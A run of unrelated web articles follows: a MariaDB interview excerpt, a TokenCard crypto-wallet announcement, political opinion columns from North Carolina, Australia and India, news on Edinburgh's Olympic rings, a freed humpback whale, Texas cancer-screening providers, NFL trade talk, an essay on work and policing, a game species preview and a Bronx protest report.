It’s not just hype for everyone. There are many big companies and projects that can benefit from Big Data.
However, my point is that most don’t need and should not use NoSQL, because it will become more expensive in the long run when you finally discover that NoSQL can’t solve all your business needs.
Finally, how does MariaDB fit into all of this?
One of the goals of MariaDB is to be a bridge between NoSQL and SQL. That’s why we have added support first for Cassandra and are now working on adding support for LevelDB.
We also recognize some of the needs that NoSQL is trying to solve, which is why we added dynamic columns (which makes your SQL schemas as flexible as most NoSQL schemas) and much faster replication. We are working in MariaDB 10.0 to make the replication even faster, more fault tolerant and flexible. We are also working closely with Galera to provide a multi-master solution of MariaDB.
All of this is to better adapt to a changing world and satisfy the needs people have – or think they have;)
Please tell us about the new MariaDB foundation! What does this mean for developers worldwide?
The MariaDB foundation was created to ensure that it’s not anymore just one person or one company that is driving MariaDB/MySQL development. It’s only by having a set of independent companies working together with the common goal of keeping MariaDB as an actively developed open source project that MariaDB and the MySQL ecosystem will truly be free and future proof.
What the MariaDB foundation is doing in practice, is ensuring that the MariaDB project is actively developed as an open source project. The foundation is hiring developers to do all the builds, QA, merges, reviews of patches, etc, that is needed for a project to go forward.
Lead image courtesy of Shutterstock, Widenius photo courtesy of Jelastic.Making ETH and ERC20 tokens spendable with the Token and TokenCard Platform
TokenCard Blocked Unblock Follow Following Mar 15, 2017
Over the years, many have attempted to bring cryptocurrency to the masses, yet adoption is still slow. It is clear that projects have failed to identify and address the main issues present in making mass adoption of digital assets possible, and so the core issues remain:
Security, storing assets is cumbersome and inevitably people choose to hold their assets with a third party, such as an exchange. This defeats one of the greatest properties of cryptocurrency, control of one’s assets, and exposes people to risks that have historically proven to be catastrophic. Usability, numerous steps are involved in seeing real world use of one’s digital assets. A user needs to manage wallets and exchange accounts, withdraw, deposit, go through KYC and even become an amateur trader. Asset Freedom, asking regular people to use a volatile asset like Bitcoin is a no-go. The people have spoken, and it deters more than it attracts leaving only a risk-taking fringe. People shouldn’t be limited to a single currency, they should have access to an entire economy of assets, from speculative ones like ETH to stable tangible commodities like DGX.
The Token platform plans to solve these issues and position itself at the heart of the effort to facilitate mainstream adoption of assets and platforms within the compelling Ethereum Ecosystem.
How do we solve these issues?
Well, there are three components to our project. The Contract Wallet, TokenCard and Token App. The Contract Wallet is a smart contract wallet that is directly controlled by you, there is no depositing of funds into a fractional reserve — it’s your money and you control it. The TokenCard is a debit card that can be given customizable access, set by you, to withdraw funds and make payments with. Payments are made in ERC20 tokens which means you could spend ETH, REP, DAI or the gold backed DGX on your morning coffee. With the Token App, we are unifying the former two and providing a seamless next-gen banking experience on Ethereum.
How would this all work in reality? Let’s go through two simple step-by-step processes that go over spending and security.
Spending
A TokenCard user wants to buy a $3 dollar beer. His name is James. James has customized his contract wallet so that only 0.1% of his assets can be spent daily. He has also enabled multi-asset spending, which allows him to make transactions in multiple assets — in this case ETH and DGX. Once James swipes his card, our system gets a payment network API call detailing his request. We evaluate an order book for the price of both ETH and DGX on an exchange and attempt a withdrawal. If successful, we OK the transaction and his payment will go through seamlessly, and a push notification will appear on his phone. James can then review the transaction on his Token app, seeing exactly how much ETH and DGX he spent on the beer.
Security
One of our users is worried about hackers, he has experienced significant losses in the past because of poor security. His name is Stephen. Despite his losses, Stephan has made a lot of money through investing in ETH and ICOs and wants to secure his funds as best as possible. Through the Token app he sets up multiple security provisions, enforced by smart contracts, to protect his assets. Firstly, he makes it so that withdrawals can only be authorized by Stephen on an hourly basis, he does this because he doesn’t like anyone having access to his funds. Secondly, Stephan is concerned about losing his key, so he’s allowed us the ability to drain funds to a separate prespecified backup contract wallet, controlled by him, in the case of emergency. Finally, Stephan is worried about someone gaining access to his account and stealing his funds. He sets a daily withdrawal limit on his own side, as he knows he or us can drain his funds to the backup address in an emergency. Stephen can now sleep peacefully at night knowing his massive holdings are safe!
Ecosystem Integration
Aside from providing a payment solution for the underlying community, the most exciting prospects for Token are within the many different markets that are being tapped into by other projects in the space. Integrating with these native Ethereum platforms will give Token direct access to diversified markets, in exchange for providing a payment channel for the platform’s user-base. We believe that this is where Token’s true role in the ecosystem lies.
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For people interested in how Monolith is creating a banking replacement for the general public powered by Ethereum please visit our website and subscribe to our newsletter.
http://monolith.ventures/
Our recent partnership announcement with Digix to bring gold back as a global means of transaction can be found here: IBTimes
An interview with the Token project leader Mel Gelderman can be found here.
Stay tuned for when we formally announce the Token platform. However you can read all about the TokenCard here.by Tom Campbell, Executive Producer and Moderator, NC SPIN, October 2, 2015.
When our legislature voted to consolidate the traditional May Primary Election with the March 15th Presidential Primary they may have driven a nail in the coffins of political parties in our state.
Without public hearing or discussion even rank and file legislators were initially unaware of language that allowed the leadership of each party in each house to establish “Affiliated Party Committees.” One of the sponsors said this legislation was about creating more transparency. He was right. We see right through it and so did lawmakers, who recognized it would give the already too powerful House Speaker and Senate President Pro Tem even more power. Rank and file members balked; the bill was ultimately modified so the party caucuses, not just leadership, could control how the funds were spent. In another baffling addition they gave Council of State members the authority to create similar committees.
It is an end run on the state’s two political parties. One party memo called it a “poison pill.” Former Senate President Pro Tem Marc Basnight and former House Speaker Jim Black started the modern practice establishing legislative PACs to raise money from special interests and lobbyists eager to have access to them. They would dole out money to friendly incumbents or to candidates running against lawmakers who didn’t support them, essentially choosing winners and losers. But state campaign contribution laws limited how much they could give any one person. That didn’t stop them, however; they just funneled money to the state Democratic or Republican Party. These organizations didn’t have the same restrictions and could give unlimited amounts to candidates for “in kind” services like polling and printing. Even though the Speaker or Pro Tem supposedly had no legal control over how it was disbursed, everyone understood they directed where and to whom the money was spent.
This new bill eliminates the pretense of washing money through the party and at least eliminates the middleman. In that respect it is transparent.
Before smartphones, email, The Internet, 24-hour news channels and Facebook, the political party was essential in the political process by communicating from the state party down through the district, county and precinct levels. It raised money and encouraged volunteers to support candidates running for office, often sponsoring rallies for candidates. Grass roots campaigns of party members helped get out the vote. It was clear what the party stood for and whom they supported. Elected officials recognized the importance and power of the party and listened when leadership spoke to them about issues.
Political parties no longer have that same influence. State party leaders in both camps are saying they don’t think the creation of these parallel de facto parties will hurt their fundraising, but they are fooling no one. The party will immediately lose those funds formerly funneled from legislative PACs, but, more importantly, the message is clear that politicians no longer need the party or want their interference, because they can get elected without them.
Maybe the political party has become a dinosaur and will become extinct. At the least this should be a wake up call to them. I could be wrong but I hear football “Dandy Don” Meredith tuning up to sing, “Turn Out the Lights, the Party’s Over.”
Category: NC SPIN Perspectives - Opinions from NC Leaders & OrganizationsScales' conclusion is also ironic, as Abbott's women problem hasn't previously been linked to a perception that he's too focused on "male issues." Quite the contrary. Abbott's brand of conservatism gravitates to the feminised turf of families, relationships, matters of the heart and body. This is how he got under women's noses in the first place, with his anti-abortion activism, his professed disapproval of no-fault divorce, contraception and pre-marital sex, his repeated gaffes that cast women in the kitchen. This was the difference between the lycra-clad Abbott and the other testosterone-soaked political leaders who have rubbed women the wrong way. Occasional "shirt-fronting" rhetoric notwithstanding, Abbott really isn't a man's man. Former colleagues Peter Costello and John Hewson talked down his economic credentials. On his own admission, he's no "tech-head." Compared to the bare-knuckled industrial relations warriors in the Coalition ranks, Abbott is distinctly vegetarian. Meanwhile his speeches on the Great War and his reintroduction of Knights and Dames suggest a cultural legacy biased toward mother England, a mindset more sentimental than hard-headed.
When he took over as Opposition Leader in 2009, I wrote that he stirred up "weird, confusing and deliciously compelling emotions in the fairer sex."
Alas what might be tantalising during courtship, fades quickly after we close the deal. Once Abbott became Prime Minister our attention turned to the daily grind. So to that mound of dirty socks then. Abbott's remark that axing the carbon tax was his top achievement for women because "women are particularly focused on the household budget and the repeal of the carbon tax means a $550 a year benefit for the average family," was justifiably lampooned as sexist. But as some commentators have pointed out it also happens to be true that women generally assume responsibility for household spending and the weekly budget. And this is where Abbott's analysis is upside down and dismissive of human nature.
Assuming for current purposes that women are indeed grateful for the tax's repeal, that gratitude doesn't take things very far. Once pain is gone, it's gone. The memory of that pain, and the relief at its passing, rarely lingers. Our attention is swiftly turned to avoiding more pain, to assessing threats on the horizon.
Perhaps this is why women – their eye on the household budget – feel their standard of living has declined over the past year and that the economic outlook is grey. For many women, the background noise is financial insecurity: mortgages are large, child care fees keep rising, their labour force participation is lower than men's, their pay lower too and a disproportionate number work as casuals with limited entitlements and no job security. Against this pervasive uncertainty comes the Government mantra that the age of entitlement is over, its assertion that families shouldn't expect to see the doctor for free (the JWS analysis was completed before the Government repackaged their price signal for GP visits), that students should bear more of the cost of a university education, that young people who struggle to find work shouldn't expect immediate assistance.Image caption The plan is to put the Olympic rings on The Mound, which runs between the Old Town and the New Town in Edinburgh
The Mound in the centre of Edinburgh has been chosen as the preferred site for a set of 8m (26ft) Olympic rings.
The UK government's Department of Culture, Media and Sport said details of the planning application would be made available for public view shortly.
It wants to place the huge aluminium rings, followed by the Paralympic Agitos, on the Edinburgh hill as a focal point for Olympic celebrations.
The DCMS said it planned for the rings to be illuminated at night.
They are being funded by the UK government.
A plan to put the rings on Edinburgh Castle was withdrawn after meeting public opposition.
An offer to put the rings at the Hillend Ski centre in Midlothian was rejected.
The Mound is an artificial hill in central Edinburgh which connects Edinburgh's New Town and Old Town.
The Olympic rings would be visible throughout much of the centre of the city, especially the main shopping street Princes Street.
The Olympic torch will be visiting Edinburgh on 13 June, where there will be an evening celebration.
The London 2012 Olympics run from 27 July to 12 August.
There will also be a Paralympic torch flame festival in the city on the 26 August.
The Paralympic Games run from 29 August to 9 September.
Edinburgh will also be taking part in the Cultural Olympiad including the Speed of Light which will see thousands of runners with specially-designed 'light suits' run set routes around Arthur's Seat.
The planning application for the rings has been submitted to the City of Edinburgh Council.Lacuna, a humpback whale spotted entangled in fishing gear in the Bay of Fundy this summer, has shed the gear on its own and is now free.
"I was screaming, 'Lacuna's free, Lacuna's free,'" Shelley Lonergan, chief naturalist and research co-ordinator with Brier Island Whale and Seabird Cruises told CBC News.
"I emailed everybody I could think of from the boat."
Lonergan said they came across Lacuna by accident while on a research trip in the Bay of Fundy on Monday.
"We saw two humpback whales that were travelling together and as we approached I noticed the dorsal fin of one of them and it looked familiar and it just dawned on me that it was Lacuna," she said
Lonergan was able to get a good look at the whale, confirm his identity and take pictures showing he was gear-free.
"I was so happy," she said. "It was the best Thanksgiving gift I could have ever received and I was very thankful to see him."
Feared the worst
She said Lacuna hadn't been sighted since mid-August and she thought the worst because his health looked as if it was deteriorating.
"He wasn't in really bad shape but you could tell he was a bit thinner than he should be so I was concerned he was gone," she said.
This photo was taken earlier in the summer when the whale was tangled in fishing gear. (Shelley Lonergan/Brier Island Whale and Seabird Cruises)
It's hard to say how the whale shed the gear but it's a pretty common occurrence for a lot of humpbacks, according to Scott Landry, the director of marine animal entanglement response at the Centre for Coastal Studies in Provincetown, Mass.
"A lot of whales become entangled every year and a lot of the whales deal with their own entanglement without human intervention," he said.
A team from the Centre travelled to the Bay of Fundy this summer to conduct whale research and was hoping to free Lacuna.
Landry said the first whale they spotted in Canadian waters was Lacuna but it was late in the day and very foggy so their efforts were thwarted.
"Obviously a lot of people worked very hard to try and do something for Lacuna this summer and it didn't work out and we weren't sure if this was going to be a whale that we would ever see again so Lacuna has happily surprised us," Landry said.
Time to recover
He said the whole network of folks on the East Coast from the Bay of Fundy down to Florida is very relieved to hear Lacuna is OK and the pictures show the whale is in pretty decent condition despite having been entangled for most of the summer.
Lacuna, a humpback whale, is no longer entangled in fishing gear. (Shelley Lonergan)
"Now the whale has some time to put on lots of weight before migration and that's what the whale needs because when it heads down to the Caribbean for the winter for breeding there's no food for them to eat so they've got to put on weight here," he said.
"It's such a relief because every year we always have a couple of whales that escape our help and in many cases we never know what happens to them," he said.
"In this case, it's really good to have a period at the end of the sentence."
Lonergan called Lacuna a "survivor" and said she is now looking forward to his return to the Bay of Fundy next year.Your message has been sent successfully
This is his shtick. Shove a camera and microphone in the faces of people he's deemed inarticulate or mockable, ask a series of seemingly innocuous questions and selectively edit the clips into a two minute stream that any curmudgeon "O'Reilly Factor" viewer can feel smug about.
You just knew that Jesse Watters would eventually turn his "Watters World" target onto the unsuspecting young supporters of rising Democratic presidential contender Bernie Sanders and on Thursday's edition he selected students at the University of Oregon to serve as Fox News' latest liberal laughingstocks.
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Of course, like all of Watters' Fox News funded endeavors, his questions proved to be more illuminating into right-wing rationale than its initial intent -- mocking young progressives.
"How is Bernie going to accomplish all of these redistributive schemes?" Sanders prodded.
"How is Bernie going to make college free?" he pressed a young student.
"Isn't being filthy rich the American dream?" he asked incredulously after she correctly cited Sanders' plan to increase taxes on Wall Street speculation.
"Are you a revolutionary?" Watters asked another student with a laugh before adding, "don't overthrow me!"
"If you raise my taxes, how am I going to be afford to dress so nicely," Watters wondered, gesturing to his suit (sans tie, of course).
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Watch his lame attempt at comedy at the expense of Sanders' most youthful supporters below:
Watch the latest video at video.foxnews.comIn the past two decades, the devastation associated with opioid addiction has escaped the relative confines of the inner city and extended to suburban and rural America. Due in large part to the proliferation of prescription pain relievers, rates of opioid abuse, addiction, overdose and related deaths have increased dramatically. This has affected families and communities that once felt immune to this crisis.
On Aug. 1, an analysis of health care claims for treatment of opioid dependence showed a 3,000 percent increase from |
Mary Kay Cabot of the Cleveland Plain Dealer reports that the Browns’ “dream scenario” would be trading the 12th overall pick for Garoppolo after using the first overall pick on pass rusher Myles Garrett.
That, however, would probably not be enough for the Patriots to give up Garoppolo. They reportedly would want a first-round pick this year as well as a conditional pick that could be as good as another first-rounder in 2018. That might be more than the Browns are willing to deal.
But there’s more to the Garoppolo trade than just whether the Patriots and the Browns (or some other team) can agree on compensation. There’s also what Garoppolo wants to do. Publicly, Garoppolo is saying it’s out of his hands, but the reality is he can exert an enormous amount of influence over his future. If he wants to leave New England and go somewhere he can start, he could start speaking publicly about being unhappy as a backup. Bill Belichick doesn’t like having guys in the locker room who don’t buy into what the Patriots are doing, so if Garoppolo started making noises about wanting to leave, Belichick would likely move him. Conversely, if Garoppolo doesn’t want to go to Cleveland (or any other team), he can announce that he will not agree to a long-term contract extension with any team that trades for him without his consent. That wouldn’t prevent him from being traded, but it would make a trade unlikely, as teams don’t want to trade first-round picks for players who are going to leave in free agency a year later.
Until we know whether or not Garoppolo wants to play for the Browns, we can’t know how likely a trade is. But it sounds like a trade the Browns would like to make.Update, 2 p.m.: Texas Health and Human Services Commission spokesperson Bryan Black told the Observer that the BCCS provider list is “always a work in progress,” and that “every effort is being made to ensure there is adequate access to services across our large state.”
Original story:
When the Legislature excluded Planned Parenthood from the Breast and Cervical Cancer Services (BCCS) program earlier this year, Houston state Representative Sarah Davis, a Republican, inserted a last-minute budget rider meant to ensure that any changes to the program wouldn’t leave regions of the state without a provider. Anti-abortion lawmakers said Planned Parenthood shouldn’t be able to participate in BCCS because they believe the organization is an abortion “affiliate,” but in some areas of the state, Planned Parenthood was the sole BCCS provider for services to low-income Texans at risk for, and living with, cancer.
Davis’ rider reads: “If the department is unable to locate a sufficient number of eligible providers in a certain region, the department may compensate other local providers for the provision of breast and cervical cancer screening services.”
But the very situation that the rider was meant to prevent has materialized anyway — in the Waco area.
According to a finalized list of BCCS clinics for the 2016-17 fiscal year, obtained Wednesday by the Observer, at least one area of the state where Planned Parenthood was previously the only BCCS provider still remains without one: McLennan County.
Tonya Capson, health center manager at the Planned Parenthood clinic in Waco, said that in the two months since the fiscal year began September 1, she has received phone calls from at least seven patients who have been diagnosed with cancer and need help enrolling in Medicaid for breast and cervical cancer treatment. Assistance with quick Medicaid coverage is unique to the BCCS program; only a state contracted provider can directly enroll a patient.
“I have to call them back and explain that we are no longer contracted with BCCS and we are no longer able to help with those applications,” Capson told the Observer, adding that Planned Parenthood has directed patients to the state Health and Human Services Commission’s online clinic locator, but has not directly heard from the agency concerning where to send BCCS patients.
In late October, HHSC spokesperson Bryan Black wrote in an email that the agency was “in discussions with providers capable of providing BCCS services in the McLennan County area.” HHSC did not respond to requests for comment for this story as of press time.
The BCCS program serves approximately 34,000 poor Texas women every year by providing initial cancer screenings, diagnostic and treatment services, and case management. “I have to call them back and explain that we are no longer contracted with BCCS and we are no longer able to help with those applications.” Last fiscal year, 40 health care providers operating 195 clinics participated in the BCCS program. Planned Parenthood operated 17 of those clinics and served nearly 10 percent of BCCS patients. According to the new list for the current fiscal year, 35 providers now operate 131 clinics statewide.
In Waco, Planned Parenthood still has some private funding to help local residents pay for some services, like breast exams or mammograms through a sub-contractor. However, Capson said, many of the clinic’s BCCS patients came from surrounding counties. The clinic doesn’t have enough private funding to cover services to patients who don’t live in McLennan County.
“The biggest challenge now is finding funding for other geographical areas, such as Limestone or Hill County,” Capson said.
According to HHSC’s finalized list, Austin is also without a BCCS provider. CommUnity Care in Austin, a federally qualified health center that operates multiple clinics, is also no longer participating due to the program’s administrative and financial burden on its organization, said spokesperson Monica Saavedra. Saavedra said the community health center has other funding sources to provide the same services covered by BCCS.
The next closest BCCS providers are in the surrounding counties of Bastrop and Hays, each with two clinics.
In late October, the Observer spoke with Davis about her rider. In response to a question about the exclusion of Planned Parenthood, Davis said: “In fact, a provider can be qualified provider if there are no others in the area that meet certain requirements. So, the truth of the matter is that if Planned Parenthood is the only qualified provider in an area, then they can still apply.”
This week, Davis told the Observer she crafted her rider in response to a proposed budget change that would have affected not just Planned Parenthood, but other specialty family planning providers in the program. In the end, though, the Legislature narrowed its focus, singling out Planned Parenthood for exclusion and inserting a rule that no abortion-affiliated provider could participate. Davis has not responded to requests for comment about the latest BCCS provider list.
Sarah Wheat, vice president for public affairs at Planned Parenthood Greater Texas, which operates the Waco clinic, told the Observer that the organization did apply to be a BCCS contractor, but was denied.
“This program gave you that entry point into [cancer] services, even if it wasn’t a service that you could get at our health center,” Wheat said. “Especially if you’re uninsured, you need a door open to you into the health care system to navigate the services you need.”
Editorial intern Hannah McBride contributed to this story.Nick’s Notes: This post was originally posted on Copblock.org under a Creative Commons License. I’ve spaced out Hotchkin’s essay and moved some of the photos around but done nothing else in the editing process.
When once they stalked deer, or crouched shivering in the mud for the flight of ducks to alight, or risked their lives in the crags after goats, or closed in with shouts upon a wild boar at bay- that was not work, though often the breath came hard and the limbs were heavy. When the women bore and nursed children, or wandered in the woods for berries and mushrooms, or tended fire at the entrance of the rock shelter- That was not work either.
So also, when they sang and danced and made love, that was not play. By the singing and the dancing the spirits of forest and water might be placated- a serious matter, though still one might enjoy the song and the dance. And as for the making of love, by that- and by the favor of the gods- the tribe was maintained.
So in the first years work and play mingled always, and there were not even words for one against the other.
But centuries flowed by and then more of them, and many things changed. Man invented civilization and was inordinately proud of it. But in no way did civilization change life than to sharpen the line between work and play, and at last that division had came to be more important than the old one between sleeping and waking. Sleep came to be thought a kind of relaxation, and “sleeping on the job” a heinous sin. The turning out of the light and the ringing of the alarm were not so much the symbols of man’s dual life as were the punching of the time clock and the blowing of the whistle. Men marched on picket lines and threw bricks and exploded dynamite to shift an hour from one classification to the other, and other men fought equally hard to prevent them. And always work became more laborious and odious, and play grew more artificial and febrile. Excerpt of ‘Earth Abides’ by George R. Stewart (1949)
Our culture is predicated around the Protestant work ethic, a worldview that was invaluable in inspiring the rapid expansion of frontiers and industrial success of the United States. It has become the cornerstone of our way of life, “The American Dream”. Work hard and bank hard. And it has undoubtedly produced some wonderful results. Yet it has also produced some terrible ones.
“Just doing my job.”
Authoritarians like police hide behind their careers, as if their employment negates their immoral activities. They put the necessity of their job ahead of the necessity of their humanity. There is no passion in ‘serving and protecting’ as the lie goes, but in ‘just getting home at the end of the day’.
Have you ever worked somewhere in which customers or colleagues or vendors seemed to go out of their way to make your job suck worse? That is how police must feel to all those they have negative interactions with.
Except unlike the waitress who wants to drop kick the mom that let her kids have a food fight at the end of the night right in the middle of her section, cops can fight back. In fact, unlike most employees, they have the upper hand. This creates an automatic power imbalance. When that imbalance combines with a tendency to wishing you were doing anything but working, it creates a dangerous police career culture that threatens itself and outsiders.
The public similarly conflate onto the career of policing the idea Protestant work ethics and values. “They’re just doing their jobs.”
And as such, people are likely to believe in police more as symbols than as the accumulated facts about them. Since police ‘risk their lives’ –far less than almost 20 other normal careers, and mostly only for driving like Steve McQueen on cocaine– to ‘keep us safe’ –they don’t actually do this, nor are they expected to– then folks put their career on a pedestal. It creates an ‘automatic pass’ for police in public opinion, the weight of which can survive even the most egregious acts by that institution. And where skepticism is suspended and something is praised and accepted blindly there will be entitlement corruption and abuse.
We have also fallen into the trap of believing that the problems which arise among humans which are used to justify organized career policing can only be solved by people being given the specific job of doing so. It also requires that we ignore the various strengths of people and instead try to program a robotic human being via training for doing any number of tasks that cannot possibly be expected of a single human.
Especially when that training conflicts at such basic levels. Instilling a fear and distrust of citizens through tactical and arms training runs contrary to the sort of conflict resolution skills needed, especially when mental illness or other complicating factors are present. It is unlikely that the skill set of any single individual could encompass both competing criteria equally and rationally, those that could would be an anomaly.
Training cannot overcome the strengths and weakness of individuals that have a lifetime of history. Communities and those within them have the most interest in their own safety and peace. Utilizing the talents of the community in accordance with the appropriateness of the individual and the situation at hand would provide for more harmony than assigning policing roles and institutionalizing them through jobs.
Now let’s talk about the future of jobs themselves. Technology is increasingly doing the work of human beings. And while we have seen a trend of replacing low-paying service job tasks with machine automation as well as industrial employment decrease under robotics, software applications will soon be threatening the jobs of the highest paid employees of the working class. The traditional idea of a job is becoming unsustainable.
As fast as we can find new busywork for human beings, innovators are figuring out ways to replace even those jobs with technology. Since the human population does not seem to be showing any signs of decreasing any time soon, there is not likely to be enough full time jobs for everyone. This issue is addressed from pundits of political narratives of the left and right without any clarity whatsoever. The fact that we are producing wealth through technology but having to work less to do so is often shooed off with a suggestion that we will just have to find new jobs. That kind of circular logic is preventing us from any productive narrative about how we are going to realistically face the facts of our increasingly technological civilization.
We are using the old paradigms of industrialism to address a future of information economies, and they just do not fit. Unless we do find a way to strike a balance, the dissonance is going to cause ever more increasingly destructive forms of division and competition between humans. When we factor in the high likelihood of non-scarcity technologies that will further disrupt our economic and political systems, it becomes clear that we have to be crucially rethinking our future outside the dogmatic narratives of our past.
Technologically, the end of jobs is nearly a foregone conclusion.Earlier this week, in one of his speeches, Prime Minister Narendra Modi quoted a verse of the Gujarati poet Narsinh Mehta: “Vaach kaachh man nishchal raakhe, pardhan nav jhaale haath re" (a true Vaishnav keeps his words, thoughts, and deeds pure; s/he never covets someone else’s property). The official prime ministerial handle on Twitter broadcast the quote.
It is a fine verse, except that Modi mixed up Mehta’s verses. The actual verse is “Vaach kaachh man nishchal raakhe, dhan dhan janani teni re" (the latter part of the verse meaning—the Vaishnav’s mother is blessed). The part that he substituted in the verse actually belongs to the couplet that follows. That couplet ends—“jihva thaki asatya na bole, pardhan nav jhaale haath re" (even if his tongue gets tired, the true Vaishnav won’t lie, nor covet someone else’s property). Modi is not a scholar of Gujarati literature, but you don’t have to be one to know Vaishnav Jan. Virtually any Gujarati (and Modi is one) of a certain age is likely to know what was Mohandas Gandhi’s favourite bhajan.
The benign explanation is that it was a memory lapse on Modi’s part, and there was hardly any outrage. Now imagine a similar mistake by Congress president Sonia Gandhi, her son and the party leader Rahul Gandhi, or Delhi chief minister Arvind Kejriwal. Critics would have pounced on them, heaping ridicule on Sonia Gandhi because she was born in Italy; on Rahul Gandhi, because he supposedly knows no better; and on Kejriwal, because he is allegedly an usurper. But Modi’s gaffe got the benefit of doubt.
This isn’t the first time, however. He called the Gujarati lawyer Shyamji Krishna Varma Shyama Prasad Mookerjee once; he quoted a 19th century poet who had wrongly attributed Alexander’s last defeat in Bihar; he placed Chandragupta in the Gupta dynasty, and not Maurya (unless he meant Chandragupta II); and at an election rally, he talked about one Mohanlal Karamchand Gandhi. None of that seems to matter; the reign of error continues.
More instructive is Modi’s desire to appropriate aspects of Mohandas Gandhi. When he was in South Africa, Modi relived the train journey from Pentrich to Pietermaritzburg, getting himself photographed in fine, high-contrast black-and-white imagery. Brooding and pensive, he looked towards the window, the light from outside shining on his face, the photograph conveying the seriousness and depth with which he was contemplating the circumstances in which Gandhi’s politicization began. Then again, the 2017 calendar of the Khadi and Village Industries Commission showed Modi spinning the charkha, replacing Gandhi’s image. Charkha was synonymous with Gandhi; I remember my mother recalling the Gujarati song she used to sing during the freedom movement, which went, “Sutar ne tantane laishu swaraj ame sutar ne tantane laishu" (we shall gain freedom through the threads of cotton we weave).
The line separating imitation from appropriation is thin.
Modi never belonged to the Congress; he was born after independence, and his party played no distinguished role during the freedom movement. Why would he want to embrace Mohandas Gandhi? It isn’t as if there are no leaders within the Hindutva pantheon, and many Hindutva adherents do revere them—M.S. Golwalkar, K.B. Hedgewar, and for some, arguably, even Nathuram Godse. But the fact is that for the vast majority of Indians, these individuals are not heroes. They have decisively rejected their politics in election after election, except in 2014. The parliamentary majority the Bharatiya Janata Party (BJP) secured that year against a splintered opposition when slightly fewer than a third of Indians who voted pressed the BJP button, is for the BJP an opportunity to reshape its identity, and Modi wants to make the party’s foundation firmer, to make it more acceptable and broaden its appeal. And since the BJP can’t project its past as glorious, there is this ardent desire to appropriate aspects of Mohandas Gandhi they can accept (his conservatism, his religiosity, or his campaign for cleanliness), of Subhas Chandra Bose (his militant nationalism), of Vallabhbhai Patel (his role in rebuilding the Somnath temple and bringing about the merger of princely states with the Indian union), of Bhagat Singh (his choice of violence), or B.R. Ambedkar (his opposition to Gandhi), while ignoring the inconvenient aspects of their politics—secular, egalitarian, inclusive, and progressive.
And that’s where Mehta’s verse becomes important—for Vaishnav Jan was no ordinary verse; it was sung almost daily at Mohandas Gandhi’s prayer meetings, and generations of Indians grew up remembering those words by heart. To be sure, few who remember it live by that code. It enunciates the qualities of an ideal man—truthfulness, honesty, compassion, sacrifice, humility, respect for women and for others’ dignity, unwillingness to speak ill of others, and devotion. Besides, the verse is in Gujarati, Modi’s mother tongue.
Vaishnav Jan is not India’s national bhajan for a good reason—matters of faith and the republic must remain separate, and India doesn’t need a national prayer. But mixing up its verses, posing as Gandhi on a calendar, getting oneself photographed on a train in South Africa, and misremembering Gandhi’s first name—all suggest a sense of discomfort, perhaps even deep-rooted insecurity because it seems so insincere. Hence the lip-service and the slip-ups, because what you can’t emulate, you imitate.
Salil Tripathi is a writer based in London.
Comments are welcome at salil@livemint.com. Read Salil Tripathi’s previous columns at www.livemint.com/saliltripathiSpecies Spotlight: The Litter Posted in Art, Design
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Today we’re sharing a closer look at one of Albamare’s species, one that is roaming the island and… spits on everything it can see. This is the Litter!
Let’s start with the basics. The Litter is an alternatively evolved version of the lizard (Lacertilia, Reptilia) who developed particularly toxic saliva to fend off enemies and build tools with. Taking inspiration from the Knight Anole and standard Gecko, the Litter adds a bit of flair by standing, walking and running on two feet.
Those who have been with us for a while might notice that this is an updated version of the Litter model! We’ve been working hard to align their style with the newer, more detailed Fexel and Krocker species. A similar treatment was given to the Cariblin recently!
When fully clothed and evolved, the Litter can wear self-knitted clothing, like a hat or ankle- and arm-guards. Some of the more adventurous Litters even have space to hang lanterns from their hood.
The Litters collect food and resources in the large wooden baskets carried on their backs. Alongside the standard insects, they got used to eating fish, grains and berries.
It spits and spreads their acid in cases of tension and conflicts. When things get just a bit too warm for them, they tend to bite, so don’t get too close.
The Litters live and fight in groups. Even though they can’t block, they’ll make sure to work together to let you focus on one place, before hitting you in the back with a rapid spit. These little fellas can be hard to battle!
Their language is snappy and noisy, which fits their culture well – they don’t need sophisticated communication, as long as they can eat and spit.
Litters also have a knack for shiny things. They tend to decorate their housing arrangements with glittery stuff like crystals and glow-worms – now you know what to look out for to appeal to them!
Their housing arrangements are compact but useful. The more evolved they are, the more advanced their buildings become vertically – and the use of materials is pretty house-like too. Check it out!
Each species in Pine has their own musical theme – when they grow bigger and stronger on the island, you’ll hear more influences of that particular theme. We’re always looking for interesting instruments and soundscapes to underline the culture of the species.
Here is, for the first time, a sample of the March of the Litters!Bronx, N.Y., activists demand: ‘Bury racism at Woodlawn Cemetery’
Published Oct 14, 2010 10:15 PM
A spirited group of anti-racist activists confronted the managers of posh Woodlawn Cemetery in the northwest Bronx on Oct. 9. Loud chants of “Bury racism at Woodlawn Cemetery!” rang against the stone walls of the Woodlawn mansion inside the cemetery gates. Managers and security goons looked on nervously amidst the din of honking horns of passing motorists expressing support.
WW photo: Brenda Ryan
Protesters carried placards signed by the sponsoring groups — Freedom Party, South Bronx Community Congress, Service Employees Local 32BJ and Bail Out the People Movement — condemning the racist management. One placard said, “Fire Rob Scheer, stop the discrimination,” naming a racist boss cited for outrageous abuse by the Band of Brothers, a group of Woodlawn workers. One supervisor lost his job over the summer following a protest at the cemetery gates together with a relentless campaign of letters and publicity exposing the long history of racism at the cemetery.
The protest is part of a three-year campaign led by the Band of Brothers, cemetery workers who have appealed for community support against discrimination at Woodlawn. One placard reflected another part of their struggle: “Respect the workers — let them unionize,” pointing to the current effort to replace a corrupt, company union. The cemetery workers are scheduled to vote on Oct. 18 to change to Teamsters Local 808, led by Secretary-Treasurer Chris Silvera.
The Rev. Lydia Lebron, pastor of the Church of the Resurrection and a leader of the South Bronx Community Congress, said: “Why is it that such a sacred place, where our ancestors and our beloved ones are memorialized, is also such a hostile and abusive place where African-American and Latino men are dehumanized? How has it come to be that some of those who suffered and fought to end racism and discrimination, and lay here... need to witness the harassment, the slurs, the epithets, the name calling, insults and intimidation?” She denounced the fact that African Americans and Latinos are systematically excluded from opportunities for advancement at the cemetery.
“A great number of entertainers, celebrities, politicians and business moguls are buried here,” the Rev. Lebron said. “Six New York City mayors, Herman Melville [author of “Moby Dick”], Joseph Pulitzer [of the Pulitzer Prize], Sara Walker [believed to be the first Black millionaire in the U.S.], W.C. Handy [“father of the blues”], Miles Davis, Duke Ellington, Irving Berlin, Celia Cruz, Carmen Mantilla [José Martí’s partner].” She added that “the 400 acres of sacred land enclose the remains of hundreds of thousands of men and women, many from humble origins, many who worked hard and lived representing the best of their cultures and ethnic origins.”
